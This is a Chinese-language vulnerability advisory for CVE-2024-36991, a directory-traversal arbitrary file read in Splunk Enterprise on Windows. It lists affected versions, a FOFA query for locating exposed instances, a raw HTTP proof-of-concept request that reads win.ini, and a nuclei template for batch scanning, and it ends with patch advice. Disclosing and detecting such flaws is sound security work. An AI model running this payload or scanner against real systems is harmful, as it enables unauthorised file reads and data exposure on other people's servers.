Splunk Enterprise 任意文件读取漏洞(CVE-2024-36991)
文章目录
- 前言
- 漏洞描述
- 影响版本
- 漏洞复现
- POC
- 批量检测-nuclei脚本
- 修复建议
前言
Splunk Enterprise 是一款强大的机器数据管理和分析平台，能够实时收集、索引、搜索、分析和可视化来自各种数据源的日志和数据，帮助企业提升运营效率、增强安全性和优化业务决策。
| 漏洞名称 | Splunk Enterprise 任意文件读取漏洞 |
|---|---|
| 漏洞编号 | CVE-2024-36991 |
| 公开时间 | 2024-07-01 |
| 威胁类型 | 信息泄漏 |
漏洞描述
在特定版本的 Windows 版 Splunk Enterprise 中，未经身份认证的攻击者可以在 /modules/messaging/ 接口通过目录穿越的方式读取任意文件，造成用户信息的泄露。
影响版本
9.2 <= Splunk Enterprise < 9.2.2
9.1 <= Splunk Enterprise < 9.1.5
9.0 <= Splunk Enterprise < 9.0.10
漏洞复现
FOFA语法：
app="splunk-Enterprise"
POC
GET /zh-CN/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../windows/win.ini HTTP/1.1
Host: x.x.x.x
Connection: keep-alive
批量检测-nuclei脚本
id: CVE-2024-36991info:name: Splunk Enterprise for Windows 任意文件读取漏洞author: whgojpdescription: Splunk Enterprise 是一款强大的数据分析软件，它允许用户从各种来源收集、索引和搜索机器生成的数据。2024年7月，官方发布安全通告，披露 CVE-2024-36991 Splunk Enterprise Windows平台 modules/messaging 目录遍历漏洞。漏洞仅影响 Windows平台上的 Splunk Enterprise，官方已发布安全更新，建议升级至最新版本。reference:- https://advisory.splunk.com/SVD-2024-0711tags: cve,cve2024,splunk-Enterprisrequests:- method: GETpath:- "{{BaseURL}}/zh-CN/modules/messaging/{{Path}}"matchers-condition: andmatchers:- type: statusstatus:- 200- type: wordwords:- "NetSetup.log"part: bodycondition: or- type: wordwords:- "Windows"- "debug"part: bodycondition: orvariables:Path:- "C:../C:../C:../C:../C:../C:../C:../C:../windows/win.ini"修复建议
目前官方已有可更新版本，建议受影响用户升级至最新版本：
Splunk Enterprise 9.2.2
Splunk Enterprise 9.1.5
Splunk Enterprise 9.0.10
官方地址：https://www.splunk.com/zh_cn/download.html